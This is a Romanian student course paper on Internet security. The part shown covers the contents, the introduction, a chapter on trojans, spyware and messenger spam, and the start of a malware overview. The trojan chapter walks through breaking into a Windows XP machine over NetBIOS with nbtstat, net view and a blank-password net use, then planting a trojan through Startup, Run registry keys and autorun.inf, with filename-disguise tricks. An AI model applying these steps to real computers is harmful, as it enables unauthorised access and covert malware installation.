Ingineria Sistemelor de calcul



UNIVERSITATEA “POLITEHNICA” BUCURESTI

FACULTATEA DE ELECTRONICA, TELECOMUNICATII SI TEHNOLOGIA INFORMATIEI

SECTIA ELECTRONICA APLICATA

SPECIALIZAREA INGINERIA SISTEMELOR DE CALCUL

TEMA DE CASA COMUNICATII INTERNET

“Securitate pe Internet virusi, spam, criptare”

PROFESOR CURS: STEFAN STANCESCU

ECHIPA “NIRA” formata din:

1. RADULESCU ELENA NICOLETA

2. POPA ANDREI

3. MIHAILESCU PATRICIA

4. IANCU ANDREI

5. COLCEAG ANDREEA

6. VLAD ANDREI

7. PISKOLTI ARPAD

8. RADU CRISTIAN

GRUPA 454A

2007-2008

CUPRINS

Introducere .................................................................................................................................. 6

Capitolul 1. Porturi. Servere si clienti. Aplicatii tip : Cal Troian, Spyware, Data Miner, Instant

Messenger Spammer ................................................................................................. 6

1.1 Porturi. Servere si clienti. Servere clandestine .................................................................. 6

1.2 Programe SPY-WARE .................................................................................................... 12

1.3 Programe Data Miner ...................................................................................................... 12

1.4 Programe ce trimit SPAM pe Instant Messengers ........................................................... 12

Capitolul 2. Programe cu scop distructiv : Malware, Worms si Virusi, Javascript-uri infectante

din pagini de Web, Plugin-uri si Hijacking de browser, Componente ActiveX

periculoase ............................................................................................................... 14

Capitolul 3. Programe dedicate publicitatii nedorite pe e-mail si a falsificarii adreselor :

Spoofers, Spammers, Servere SMTP dedicate SPAM-ului, Open Relay Servers .. 18

3.1 Introducere ....................................................................................................................... 18

3.2 Spam-ul ............................................................................................................................. 18

3.3 Spoofing ............................................................................................................................ 23

3.4 Open Relay Servers .......................................................................................................... 23

3.5 Bibliografie ...................................................................................................................... 25

Capitolul 4. Atacuri asupra retelelor wired si wireless : Sniffere, Placi de retea cu „Promiscuous

Mode” (MAC Nedefinit), Interceptare, Atacuri Brute-Force, Spargerea criptarii

WEP pe wireless, Flooding .................................................................................... 26

4.1 Introducere ...................................................................................................................... 26

4.2. Atacuri asupra retelelor de calculatoare ......................................................................... 27

4.2.1. Atacul in forta (“Brute-Force”) ............................................................................... 27

4.2.2. Atacul de tip dictionar ............................................................................................. 28

4.2.3. IP spoofing .............................................................................................................. 28

4.2.4. IP sniffing ................................................................................................................ 29

4.2.5. Promiscuous mode .................................................................................................. 29

4.2.6. Atacul de tip flood .................................................................................................. 29

4.3. Metode de securizare a retelelor Wireless ..................................................................... 29

4.3.1. Wired Equivalent Privacy (WEP) .......................................................................... 29

4.3.2. WPA (Wi-Fi Protected Access) ............................................................................. 30

4.3.3. Atacuri asupra retelelor wireless ........................................................................... 30

4.4 Bibliografie .................................................................................................................... 32

Capitolul 5. Solutii de protectie impotriva programelor de tip Server clandestin:

Firewall-uri, Routere, Port scannere, Utilitarul „NetStat” din Windows ........ 33

5.1 Introducere ..................................................................................................................... 33

5.2 Sisteme firewall ............................................................................................................. 33

5.2.1 Introducere - Securitatea retelelor, o problema semnalata incepand cu anul 1983 .. 33

5.2.2 Sarcina de baza ....................................................................................................... 35

5.2.3 Istorie ....................................................................................................................... 36

5.2.4 Tipuri de firewall ..................................................................................................... 37

5.3 Routere ........................................................................................................................... 38

5.3.1 Introducere .............................................................................................................. 38

5.3.2 Tipuri de routere ...................................................................................................... 40

5.4 Port scannere Nmap ........................................................................................................ 42

5.4.1 Introducere .............................................................................................................. 42

5.4.2 Specificarea tintelor ................................................................................................ 44

5.4.3 Descoperirea hosturilor ........................................................................................... 44

5.4.4 Bazele scanarii de porturi ........................................................................................ 46

5.4.5 Tehnici de scanare de porturi .................................................................................. 48

5.4.6 Specificarea porturilor si a ordinii de scanare ......................................................... 51

5.4.7 Pacalirea Firewall/IDSurilor si ascunderea identitatii ............................................. 51

5.5 Utilitarul „NetStat” din Windows ..................................................................................... 52

5.5.1 Introducere ............................................................................................................... 52

5.5.2 Parametrii ................................................................................................................. 52

5.5.3 Statistici oferite ........................................................................................................ 53

5.5.4 Exemple ................................................................................................................... 53

5.5.5 Observatii specifice platformei ................................................................................ 54

5.6 Bibliografie ....................................................................................................................... 54

Capitolul 6. Protectia calculatorului de Malware si Virusi : Antivirusi, Malware removing tools,

Curatarea manuala registrului de Windows, Setari ale sistemului de operare care

previn reinfectarea, Configurarea corecta a browserului WEB .............................. 55

6.1 Introducere ........................................................................................................................ 55

6.2 Antivirusii ......................................................................................................................... 55

6.2.1 Notiunea de scanare .................................................................................................. 56

6.3 Curatarea manuala registrului de Windows ...................................................................... 59

6.4 Configurarea corecta a browserului web .......................................................................... 61

6.5 Bibliografie ....................................................................................................................... 62

Capitolul 7. Securitatea serverelor de mail : Autentificare SMTP, SPAM Filters, SPAM

Databases, Reverse DNS ........................................................................................ 63

7.1 Autentificare SMTP .......................................................................................................... 63

7.2 Filtre Spam ........................................................................................................................ 64

7.2.1 Filtre care riposteaza ................................................................................................. 64

7.2.2 CRM114 ( nume intreg: “The CRM114 Discriminator” ) ........................................ 64

7.2.3 DSPAM ..................................................................................................................... 65

7.2.4 POPFile ..................................................................................................................... 65

7.2.5 SpamAssassin ........................................................................................................... 65

7.3 Baze de date Spam ............................................................................................................ 66

7.3.1 Istoric ........................................................................................................................ 66

7.3.2 Mod de operare ......................................................................................................... 66

7.3.4 Interogari DNSBL ................................................................................................... 66

7.3.5 Critici ........................................................................................................................ 68

7.4 Reverse DNS .................................................................................................................... 68

Capitolul 8. Calculatoare Zombie: Botnet, Atacuri DoS, Viermele MyDoom .......................... 70

8.1 Calculatoarele „Zombie” si retelele Botnet ...................................................................... 70

8.2 Atacuri DoS ...................................................................................................................... 70

8.3 Metode moderne de atac ................................................................................................... 71

8.4 Exemplu de vierme functional, scris in VBScript ............................................................ 73

8.5 Viermele MyDoom ........................................................................................................... 74

Capitolul 9. Criptografia traditionala: Algoritmi criptografici cu cheie secreta, Principii practice

de criptare ................................................................................................................ 76

9.1 Introducere ....................................................................................................................... 76

9.2 Terminologie de baza ...................................................................................................... 77

9.3 Securitatea algoritmilor .................................................................................................... 78

9.4 Protocoale pentru comunicatii criptografice simetrice .................................................... 79

9.5 Algoritmi simetrici ........................................................................................................... 80

9.5.1 Algoritmi secventiali ............................................................................................... 80

9.5.2 Algoritmi (cifruri) bloc ............................................................................................ 81

9.5.3 Cifruri bazate pe curbe eliptice ............................................................................... 82

9.6 Un exemplu de cifru simetric ........................................................................................... 87

9.6.1 Cum alegem criptarea in aplicatiile din retele ......................................................... 92

9.7 Bibliografie ...................................................................................................................... 93

Capitolul 10. Criptografia moderna: Algoritmi criptografici cu cheie publica, Sisteme cu chei in

custodie, Certificate digitale ................................................................................ 94

10.1 Introducere ..................................................................................................................... 94

10.1.1 Principalele sisteme de criptare cu cheie publica .................................................. 94

10.1.2 Principii generale de construire a unui sistem de criptare cu cheie publica .......... 95

10.1.3 Securitatea sistemelor de criptare cu cheie publica ............................................... 95

10.1.4 Comparatie intre criptarea simetrica si cea cu cheie publica ................................. 96

10.1.5 Comparatie intre criptarea simetrica si cea cu cheie publica ................................. 97

10.1.6 Sistemul de criptare RSA ....................................................................................... 97

10.1.7 Implementarea sistemului RSA ............................................................................. 98

10.1.8 Securitatea sistemului RSA .................................................................................. 100

10.1.9 Sistemul de criptare El Gamal .............................................................................. 100

10.2 Chei in custodie ............................................................................................................ 100

10.3 Certificate digitale ........................................................................................................ 102

10.3.1 Certificate digitale X.509 v3 ................................................................................ 102

10.3.2 Extensii standard .................................................................................................. 103

10.3.3. Alte tipuri de certificate ...................................................................................... 104

10.3.4. PKI ...................................................................................................................... 104

10.3.5 Modelul arhitectural PKIX .................................................................................. 105

10.3.6 Dispunerea componentelor PKI ........................................................................... 106

10.3.7 Arhitecturi ierarhice ............................................................................................. 106

10.3.8 Arhitecturi de tip retea ......................................................................................... 107

10.3.9 Politicile si practicile de certificare ..................................................................... 107

10.3.10 Validarea starii certificatelor ............................................................................. 108

10.3.11 CRL ................................................................................................................... 108

10.3.12 Puncte de distributie a CRL-urilor .................................................................... 109

10.3.13 Delta CRL ......................................................................................................... 109

10.3.14 OCSP (Online Certificate Status Protocol) ....................................................... 109

10.3.15 Liste de AC de incredere ................................................................................... 110

10.3.16 Cross-certificarea bilaterala ............................................................................... 110

10.3.17 Autoritati de Certificare Punte (Bridge CA) ..................................................... 111

10.3.18 Aspecte privind implementarea unui PKI organizational ................................. 111

10.3.19 Etapele implementarii unui PKI organizational ................................................ 112

10.3.20 Furnizori de solutii PKI ................................................................................... 112

10.4 Bibliografie ........................................................................................................... 112

Capitolul 11. Semnatura digitala: Algoritmi pentru semnatura digitala, Pachetul de programe

PGP(Pretty Good Privacy) .................................................................................. 114

11.1 Algoritmi pentru semnatura digitala ............................................................................ 114

11.1.1 Ce este foarte pe scurt un algoritm criptografic?................................................ 114

11.1.2 Algoritmul DES ................................................................................................. 115

11.1.3 Algoritmul DSA ................................................................................................. 115

11.2 Pachetul de programe PGP (Pretty Good Privacy) ..................................................... 117

11.2.1 Semnaturi digitale .............................................................................................. 118

11.2.2 Plase de incredere .............................................................................................. 118

11.3 Bibliografie .................................................................................................................. 119

Capitolul 12. Sisteme electronice de plati: Sisteme de plati in Internet bazate pe carduri

bancare(SET), Sisteme on-line de plata cu moneda electronica ......................... 120

12.1 Introducere .................................................................................................................... 120

12.2 SET ( Secure Electronic Transaction) .......................................................................... 121

12.2.1 Desfasurarea tranzactiilor SET ........................................................................... 122

12.2.2 Semnatura duala .................................................................................................. 123

12.2.3 Tipuri de tranzactii admise de SET ..................................................................... 125

12.3 Sisteme on-line de plata cu moneda electronica ........................................................... 127

12.4 Bibliografie ................................................................................................................... 128

Capitolul 13. Criptare de date in retele : SSL, HTTPS, MD5, Secure SMTP, Secure POP3,

WPA, WEP ......................................................................................................... 129

Introducere

Aparitia si dezvoltarea continua a utilizarii calculatoarelor practic în toate domeniile

vietii, existenta si evolutia puternica a retelelor teleinformatice la nivel national si

international, globalizarea comunicatiilor, existenta unor baze de date puternice, aparitia si

dezvoltarea comertului electronic, a postei electronice, constituie premisele societatii

informationale în care pasim. Toate acestea indica o crestere extraordinara a volumului si

importantei datelor transmise sau stocate si implicit a vulnerabilitatii acestora. Protectia în

aceste sisteme vizeaza:

• eliminarea posibilitatilor de distrugere voita sau accidentala.

• asigurarea caracterului secret al comunicarii pentru a preveni posibilitatea ca

persoane neautorizate sa extraga informatii.

• autentificarea informatiei în scopul prevenirii posibilitatii ca persoane

neautorizate sa introduca informatii în sistem.

• în anumite situatii, cum ar fi transferurile electronice de fonduri, negocierile

contractuale, este importanta existenta unor semnaturi electronice pentru a

evita dispute între emitator si receptor cu privire la mesajul transmis.

Capitolul 1

Porturi. Servere si clienti. Aplicatii tip : Cal Troian, Spyware, Data Miner, Instant Messenger Spammer

IANCU ANDREI

1.1 Porturi. Servere si clienti. Servere clandestine.

Evolutia sistemelor de calcul si interconectarea acestora au stat la baza boom-ului informatic de azi. Lucrul cu datele pe calculator, bazat pe rapiditarea cu care sunt stocate, citite si procesate informatiile a avut – firesc – o nevoie acuta partajarii acestora. Astfel, s-a dezvoltat reteaua mondiala de calculatoare, unica, numita „Internet”. Astfel, odata cu creatia unei retele mondiale au aparut noi posibilitati de frauda, atacuri si publicitate in masa. Reteaua de internet este o extindere, la nivel global, de retea TCP/IP. Protocolul TCP/IP foloseste adrese IP si porturi pentru a realiza conexiuni intre un client si un server. Server-ul poate fi si o aplicatie, nu neaparat un calculator anume destinat acestui scop. Clientul, de asemenea, este o aplicatie ce poate fi folosita cu un anume tip de server. In baza acestor afirmatii, s-a exploatat de-a lungul timpului ideea de „server ascuns”. Iata cum : pe un calculator, expus atacului (il vom numi „victima”) este instalata o aplicatie TSR (terminate and stay resident), invizibila, care accepta conexiuni pe un anumit port. Aceasta aplicatie TSR este invizibila utilizatorului, acesta nestiind undeori de existenta perioade foarte lungi de timp. Daca victima este conectata la internet, aplicatia server accepta conexiuni pe un anumit port si poate servi atacatorului informatii din calculatorul unde ruleaza. Ceea ce poate un server sa faca pe calculatorul pe care ruleaza e limitat doar de posibilitatile sistemului de operare si de cunostintele de programare ale celui care a scris server-ul. Astfel de servere clandestine au capatat denumirea argotica de „Cal Troian”. Singurul dezavantaj pe care il prezinta este ca trebuie sa fie executate intr-un fel pe calculatorul victima. De cele mai multe ori, acest lucru presupune ca atacatorul ar avea macar odata acces la calculatorul vizat, in vederea copierii si executarii programului server. Cu toate astea, exista posibilitati ca executia si copierea sa aiba loc si fara accesul la calculator. Aici intervin vulnerabilitatile sistemelor de operare si lipsa de experienta a utilizatorului. Cele 2 cai au fost exploatate din plin de-a lungul ultimilor 5 ani, iar, cu fiecare versiune imbunatatita de sistem de operare s-a utilizat mult mai mult factorul psihologic : de pacalire a utilizatorului in a executa programul primit.

Dar, pentru inceput, sa vorbim despre vulnerabilitatile sistemului de operare. Vom exemplifica unele atacuri asupra sistemului „Windows”, deja cunoscute : atacurile pe NetBIOS. Windows are implementat la nivel de sistem de operare o suita de servere, de care putini utilizatori stiu. Acestea servesc hard-disk-ul local al calcultorului, prin deja cunoscutul serviciu de „File Sharing”. Scopul acestui serviciu era de a ptuea partaja usor fisierele intr-o retea de calculatoare Windows, atata timp cat unui folder i se dadea o proprietate de „Shared”. O zdravana bresa de securitate face ca lucrurile sa nu fie neaparat asa de simple : exista o posbilitate de a accesa pur si simplu discurile, chiar si fara proprietatea de „Shared” atat la Windows 9x cat si la Windows NT, prin NetBIOS.

Vom da mai jos un exemplu de atac al unei masini de calcul cu caracteristici tipice azi:

un calculator cu Windows XP SP2 legat la internet.

Windows este un sistem de operare complex, care vine cu multe programele utilitare, multe nedocumentate dar cu o functionalitate puternica si cu largi posibilitati de manipulare.

Presupunem ca ip-ul pe internet al calculatorului este : 203.195.136.156

Folosind comanda nbtstat vom „cerceta terenul” afland cateva informatii despre calculatorul victima :

C:\windows>nbtstat -a 203.195.136.156

Vom obtine urmatoarea tabela cu pretioase informatii :

NetBIOS Remote Machine Name Table

Name Type Status

-----------------------------------------------------------------------------------

user UNIQUE Registered

workgroup GROUP Registered

user UNIQUE Registered

user UNIQUE Registered

MAC Address = 00-02-44-14-23-E6

Privind in totala necunostinta cele de mai sus, primul lucru care se poate vedea e ca am obtinut dintr-un foc numele utilizatorului „user” si adresa MAC a placii de retea. Acum, daca ne uitam la codul dintre crosete, vedem la un moment dat . Acesta este un cod adesea intalnit, deoarece multe sisteme cu windows pe ele au activat serviciul de file sharing, iar codul de mai sus ne spune ca pe sistemul respectiv de calcul functioneaza server-ul implicit de fisiere al Windows. Acest lucru poate fi la fel de usor de aflat cu un port-scanner care ne poate spune daca pe portul :nbstat sau :nbsession exista servere.

Acum trebuie sa vedem cum se numesc discurile sau folderele sharuite pe calculatorul tinta. Din nou, un utilitat din Windows (net.exe) ne va ajuta in acest sens.

C:\windows>net view \\203.195.136.156

Shared resources at \\203.195.136.156

CalculatorAndreea

Share name Type Used as Comment

-----------------------------------------------------------------------------------

C Disk

The command completed successfully.

Odata ce am aflat ca avem ce are sharuit calculatorul respectiv, pornim atacul propriu-zis, si anume, atasam drive-ul calculatorului strain calculatorului nostru, facandu-l un „Network Drive”. Aceasta chestie este echivalentul unui „mount” din Linux.

c:\windows>net use z: \\203.195.136.156\C

The command completed successfully.

Gata. Am montat disk-ul sharuit de calculatorul victima ca drive-ul Z: cu drepturi depline.

Dar, ce ne facem daca nu stim daca utilizatorul are drive-ul sharuit cu parola sau alt username pe calculator ? Putem sa ne logam pe drive-ul sharuit si intr-un mod mai inteligent :

c:\windows>net use z: \\203.195.136.156\ipc$ "" /administrator:""

The command completed successfully.

Un lucru pe care multi utilizatori si contructori de sisteme nu-l stiu este ca un sistem Windows XP cu setarile implicite are un login „Administrator” si nu are parola. Multi oameni, ca sa nu le fie ceruta parola la pornirea calculatorului, lasa parola de administrator un blank (nu seteaza nici una). Astfel, comanda de mai sus e perfect corecta pentru user-ul „administrator”, cu drepturi depline si fara nici o parola. Acest lucru ne da acces de citire/scriere pe hard-disk-ul victimei.

O alta bucurie pentru intrusi este ca Windows are un folder de unde executa implicit, la pornire, toate executabilele. Folder-ul se numeste StartUp si se gaseste in :

”%documentsandsettings%\%user%\Start Menu\Programs\StartUp”

%documentsandsettings% este de obicei „C:\Documents And Settings”

%user% este numele utilizatorului, care de obicei este :

„C:\Documents And Settings\Andministrator”

Asadar, cu acces de scriere pe disc, copiind calul nostru troian (server-ul clandestin) in folder-ul startup, acesta va fi lansat automat de Windows la pornire. O lansare este suficienta pentru ca sistemul sa fie „infectat”. Server-ul nostru poate sa fie scris cu cod care sa instaleze porniri automate si pe alte cai (de exemplu chei de registru) sau sa se autoinstaleze ca serviciu in Windows (numai pe Windows NT), avand grija el insusi sa fie executat automat adesea, ca nu cumva sa se rateze o ocazie de pornire a serverului. Toate astea se petrec, de obicei, instantaneu fara ca utilizatorul sa poata macar banui o activitate clandestina pe calculatorul sau.

Mai sus am demonstrat cum se poate instala, fara de stiinta utilizatorului si fara acces la calculator, un program de tip „Cal Troian” sau „BackDoor” care sa faciliteze unui atacator controlul asupra masinii de calcul vizate.

Calul Troian, ca si program trebuie sa indeplineasca un numar de sarcini, odata executat :

• Sa asigure pornirea sa cu fiecare secventa de boot a calculatorului.

Exemple de metode a lansarii automate a unui program in Windows:

Scrierea unui string ce asigura pornirea in cheia de registru :

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

Creerea unui shortcut in folderele de StartUp :

”C:\Documents And Settings\All Users\Start Menu\Programs\Run”

„C:\Documents And Settings\%USER%\Start Menu\Programs\Run”

Inregistrarea programului destinat executiei automate ca serviciu in Windows.

Aceasta procedura, ceva mai complicata, presupune inregistrarea programului in windows cu ajutorul lui RegSvr32.exe si alocarea unui identificator programului; apoi inregistrarea sa in lista de servicii. Avantajul acestei metode este ca putini utilizatori stiu sa configureze serviciile, iar in Windows XP Home Edition nici macar nu exista un utilitar pentru administrarea lor, facand astfel oprirea server-ului clandestin foarte dificila.

Asocierea ca program de deschidere pentru fisiere des uzitate (*.exe, *.jpg, etc.) :

In registru, adaugam in cheia : HKEY_CLASSES_ROOT\.jpg\Open

si in proprietatea : „shell” REG_SZ valoarea „%numeprogram%, %1”

unde %1 este argumentrul programului. Server-ul poate fi instruit sa lanseze programul primit argument sau sa deschida programul asociat in mod obisnuit fisierului respectiv, astfel incat utilizatorul nici macar sa nu observe ca s-a lansat alt program pe parcurs. Metoda aceasta a fost folosita la foarte putine programe si a dat rezultate foarte bune in privinta camuflarii, foarte putina lume reusind sa o descopere; majoritatea optand direct pentru reinstalare de Windows.

• Sa isi deghizeze existenta fizica de fisier executabil si sa se ascunda in cat mai multe foldere spre a fi greu de sters

Creerea de fisiere care arata ca foldere :

Aceasta metoda, folosita initial la un virus speculeaza faptul ca Windows e setat implicit sa ascunda extensiile fisierelor cunoscute. Cum fisierele *.exe sunt programe si sunt recunoscute ca atare, Windows afiseaza doar numele fisierului si iconita sa.

Avand in vedere ca la creerea unui folder in majoritate lumea ii lasa (cel putin un timp) numele „New Folder” s-a constatat ca, daca se creaza un fisier „New Folder.exe” si i se pune ca iconita pictograma folder-ului din Windows, el poate fi foarte usor confundat cu un director. Din curiozitate o majoritate covarsitoare va da dublu click pe el, lansand programul astfel deghizat.

Folosirea dublelor extensii :

Aceasta metoda, folosita adesea de multe programe malicioase pentru a induce utilizatorul in eroare, speculeaza ca si metoda de mai sus faptul ca Windows ascunde in mod implicit extensiile fisierelor cunoscute. Un executabil cu numele „program.jpg.exe” va aparea in Windows sub numele „program.jpg”. Multi utilizatori cad prada acestei capcane fiind mai tentati sa deschida poza cu extensia „*.jpg” decat sa se intrebe de ce a aparut brusc extensia „*.jpg” deodata la unele fisiere, cand ea de obicei nu obisnuia sa apara. Este si fireasca aceasta actiune, mai ales cand programul in cauza foloseste o pictograma tipica folosita de Windows pentru fisierele „*.jpg”. Tehnica este si eficienta in cazul tuturor extensiilor de fisiere populare, gen „*.avi”, „*.mp3” si altele. Ea serveste, de asemenea la transmiterea mai usoara a programului clandestin in retele de filesharing si p2p.

Folosirea de nume comune in sistemul de operare :

O mare parte din programele componente Windows au in structura numelui lor „ms” de la „Microsoft”, „win” de la „Windows” si „32” de la executabil pe 32 de biti. Astfel, pe langa numele familiare „winword.exe”, „kernel32.dll”, „mspaint.exe”, „regsvr32.exe” se pot strecura si nume construite sa para familiar :

„msrun32.exe”, „regdll32.exe”, „winsvc.ece”, „mstask.exe” s.a.m.d.

De asemenea, se pot face imitatii ale proceselor tipice Windows NT cum ar fi :

„lssas.exe” in „lssass.exe”, „svchost.exe” in „svchost32.exe”, „csrss.exe” in „cssrss.exe” si lista poate continua. Dublarea unei litere, inserarea sau eliminarea uneia sunt tehnici tipice pentru a da o nota familiara fisierului, mai ales pentru utilizatorii mai experimentati, dar nu suficient de informati in a cunoaste pe de rost numele tuturor proceselor.

Astfel, ei vor vedea nume familiare si de multe ori chiar si utilizatori cu un ridicat grad de experienta sunt pacaliti vazand nume si neputand observa discretele diferente intre programul original si cel clandestin.

• Sa se faca total invizibil utilizatorului si sa nu ocupe resurse prea multe

• Sa deschida cel putin un port de comunicatie pe o adresa ip accesibila atacatorului

Optional :

• Sa isi lanseze cat mai multe instante; ca fiecare dintre ele sa aiba grija ca celelate sa nu fie terminate fortat de catre utilizator sau un eventual antivirus

Creerea de fisiere autorun.inf pe hard-diskuri :

Cand utilizatorul va da dublu click pe hard-disk in My Computer in loc sa fie deschis un explorer cu fisierele de pe hard-disk Windows va executa programul trecut in autorun.inf din radacina disk-ului respectiv.

Fisierul autorun.inf are o structura foarte simpla :

[autorun]

open=%numefisier%

icon=%numefisier%, n

(unde n>=1 e index-ul iconitei fisierului executabil sau *.dll)

• Sa deschida un port pe firewall ca sa poata fi facute conexiuni ale clientului catre masina respectiva de calcul

• Daca victima e in spatele unui router cu capacitate Plug’n’Play, sa configureze platforma UPnP a router-ului pentru a permite accesul clientilor prin internet

Odata instalat pe calculator, programul ar trebui sa fie total inofensiv pana la primirea de comenzi din partea clientului. In functie de cata libertate permite sistemul de operare unei aplicatii, calul troian poate face o aproape o infinitate de lucruri. Cu toate astea, lucrurile de baza pentru care sunt folositi astfel de cai troieni sunt KeyLogger-e (sisteme de inregistrat tot ceea ce s-a tastat la tastatura), sisteme de citire/scriere in hard-disk (pentru furt / plasament de fisiere) si un sistem de executie pe masina victima a unor aplicatii alese de atacator, in cazul dorintei instalarii de virusi sau a altor programe.

1.2 Programe SPY-WARE

O alta categorie de programe de tip clandestin dar nu server ci client, sunt programele de spy-ware. Acestea sunt programe care culeg informatii despre ce site-uri se viziteaza pe calculatorul victima, informatii despre utilizator, si (unele) retin tot ceea ce s-a tastat (au si rol de KeyLogger). Dar, spre deosebire de cai troieni, acestea nu stau in calculator si asteapta sa se conecteze un client ci se conecteaza ele insele la un server predefinit si trimit rapoarte asupra scopurilor utilizarii calculatorului pe care au fost instalate. De obicei ele functioneaza in paralel cu un AdWare, un program de tip server care ruleaza pe calculatorul victima si asteapta sa se conecteze clienti care ii trimit comenzi de afisare a anumitor tipuri de reclame pe ecranul victimei. Clientii care se conecteaza sunt, de obicei, calculatoarele unde trimit programele SpyWare statistici despre uzul calculatorului urmarit, si unde se decide ce tipuri de reclame sa trimita. In unele cazuri, programul de SpyWare comanda direct programul AdWare pe acelasi calculator, fara a mai fi nevoie de a mai trimite din calculatorul care primeste statisticile comenzi specifice. Bineinteles, si aici posibilitatile de configurare si constructie a astfel de programe sunt infinite, ele putand fi combinate chiar toate intr-un singur program care le face pe toate : server clandestin de sistem, spionaj, reclame si chiar atac asupra altor calculatoare.

1.3 Programe Data Miner

O categorie aparte de programe spion, chiar preinstalate si livrate in Windows sunt cele „Data Miner”. Dupa cum le spune si numele, aceste programe cauta date utile vanzatorilor de publicitate. Spre deosebire de spyware ele nu sunt clandestine si nu transmit informatii despre utilizator, ele sunt strict interesate de ceea ce cauta utilizatorul pe Web si transmit unor servere dedicate informatii anonime despre aceste cautari si (sau) accesari. Un exemplu ar fi data miner-ul „Alexa” al site-ului , autointitulata „The Web information Company” cu ajutorul caruia se fac statistici asupra interesului pentru anumite site-uri sau numarul de vizite de pe un anumit calculator, intr-un interval de timp. Acest data miner vine integrat cu Windows XP in SP1 si SP2, si apare in optiuni la Internet Explorer sub textul „Allow browser to report anonymous usage information”. De mentionat este faptul ca, desi optiunea poate fi dezactivata, programul ramane activ si trimite informatii in continuare. Aceste programe, desi ruleaza pe ascuns si nu sunt instalate direct de catre utilizator sunt facute publice prin diverse documente care insotesc alte programe care le instaleaza si sunt recunoscute de catre companiile care le folosesc. De obicei ele nu produc pagube sistemului pe care ruleaza, dar prin natura sarcinii lor, pot compromite intimitatea utilizatorului.

1.4 Programe ce trimit SPAM pe Instant Messengers

Programele de comunicare scrisa instantanee de tip „Instant Messenger” sunt azi din ce in ce mai raspandite. Acestea sunt niste programe de tip server / client instalate de un utilizator perfect constient de existenta acestora si de buna voie, spre a comunica cu ajutorul lor pe internet cu alte persoane care folosesc astfel de programe. Natura lor este dubla : aplicatia server primeste mesajele de la o alta instanta – client – ce ruleaza pe un alt calculator, iar aplicatia client trimite mesaje catre instanta server care ruleaza pe calculatorul interlocutorului. Astfel se creaza un duplex, o comunicare bidirectionala. Aplicatia server, cea care primeste mesajele, deschide un port pe care asculta tot ceea ce se trimite. Daca mesajul are un anumit header el este recunoscut ca un mesaj specific aplicatiei si este decodat (eventual si decriptat) si apoi afisat utilizatorului pe ecran. Aici avem de aface cu o slabiciune, pe motiv ca se pot crea aplicatii care sa scaneze ip-uri, sa vada daca pe sistem ruleaza un astfel de server care accepta comenzi, sa se conecteze la acesta si sa trimita mesaje nedorite (si chiar reclame). Acest fenoment se numeste Instant Messanger Spam si vizeaza toate programele de tip Instant Messanger care se afla pe piata. Un exemplu cunoscut este iar un utilitar din Windows NT numit „Windows Messenger”. Acesta este un server care afiseaza pe ecran intr-un pop-up textul care vine pe port-ul 1035. S-au dezvoltat in acest sens mai multe programe care colecteaza ip-uri cu portul 1035 deschis de aceasta aplicatie si le trimit pe accel port mesaje cu reclame, cu invitatii catre un site sau chiar si amenintari. Cei de la Microsoft si-au dat seama de vulnerabilitate si au oprit functionarea implicita in Windows XP, programelul de mai sus fiind deja abuzat de multe ori in versiunile Windows 2000 si NT4. Pe sistemele de instant messanging gen Yahoo! sau AIM sau MSN acest lucru e mai greu deoarece mesajele sunt trimise unui server central care le verifica provenienta, apoi de-abia trimitandu-le mai departe catre destinatari. Cu toate astea, exista solutii de spam si pentru programele de mai sus, putand fi create conturi pe site-urile respective si prin acele conturi pot fi trimise mesajele cu un program special.

Capitolul 2

Programe cu scop distructiv : Malware, Worms si Virusi, Javascript-uri infectante din pagini de Web, Plugin-uri si Hijacking de browser, Componente ActiveX periculoase

PISKOLTI ARPAD

Softurile Malware sunt destinate sa se infiltreze sau sa strice sistemul fara a stii. Expresia este un termen general folosit de profesionesti in software ce inseamna o varietate de forme ostile sau orice neplacut soft sau program cod.

Multi utilizatori de computere normale sunt inca nefamiliarzati cu termenul, si cei mai multi nu il folosesc niciodata. In schimb folosesc in limbaj uzual “virus de calculator” si in media, desi nu tot ce e malware este virus. Un alt termen ce de curand este confundat cu malware este badware, poate datorita initiativei de a opri malware Stopbadware.

Softurile se considera malware in special datoritaintentiilor creatorului decat unele componente particulare. Include virusi,worms, trojan horses,spyware si alte softuri nedorite. Malware nu ar trebui confundat cu soft defect, soft care are un scop legitim dar contine buguri daunatoare.

Multe programe de infectare timpurii, incluzand primul Internet Worm si mai multi MS-DOS virusi, au fost scrisi ca experimente sau din gluma in general create fara a fi distructivi sau cel mult suparatori. Tinerii programatori invatau despre virusi si tehnicile de a le scrie pentru a-si dovedi ca pot sau pentru a vedea cat de departe se raspandeau. Pana in 1999 multi virusi larg raspanditi, precum Melissa pareau a fi scrise ca glume.

O intentie mai ostila poate fi gasita in programe create pentru a distruge sau vandaliza datele. Multe virusuri DOS si wormul Windows ExplorerZip, au fost destinate pentru a disturge fisierele de pe un hard disk, sau sa corupa sistemul de operare prin scrierea de junk data. Viermii creati pentur retea precum in 2001 Code Red worm sau Ramen worm cad in aceeasi categorie. Destinate sa vandalizeze pagini web, acesti viermi par a fi echivalentul online la grafitti, cu aliasul autorului sau grupul din care face parte aparand oriunde merge viermele.

Totusi, de cand raspandirea vasta a internetului broadband, mai multe programe au fost create din ratiuni de profit. De exemplu, din 2003, majoritatea virusurilor si viermilor larg raspanditi au fost intentionati pntru a prelua controlul calculatoarelor pentru exploatarea de pe piata neagra. Multe “zombie computers” infectate sunt folosite pentru a trimite spamuri, pentru a detine data de contrabanda, sau sa atace de tip flood ca metode de santaj.

Altfel de soft strict creat pentru profit este spyware, programe destinate pentru monitorizarea utilizatorului, afisarea de reclame nedorite, sau sa redirectioneze veniturile din marketing afiliat ale utilizatorului(de exemplu bonusuri pentru completare de chestionare) catre creator. Programele spyware nu se raspandesc ca virusii; se instaleaza in general prin exploatarea gaurilor din securitate sau inserate in softuri impachetate.

Cele mai cunoscute tipuri de malware, vriusii si viermii, sunt cunoscuti pentru mecanismul in care se raspandesc, decat prin comportamentul lor particular.

Virusul este definit ca un software cu doua caracteristici principale:

- Se auto-executa. Virusul se poate atasa altor programe sau se poate ascunde in codul care ruleaza automat la deschiderea anumitor tipuri de fisiere.

- Se auto-multiplica. Acest lucru este posibil prin atasarea virusului la alte programe din computer sau prin suprascrierea acestora. Virusul se auto-raspandeste cu ajutorul floppy disk-urilor sau a oricarei alte forme de schimb de date, nu numai in statia de lucru, dar si in intreaga retea. Ulterior, este activat impreuna cu partea infectata.

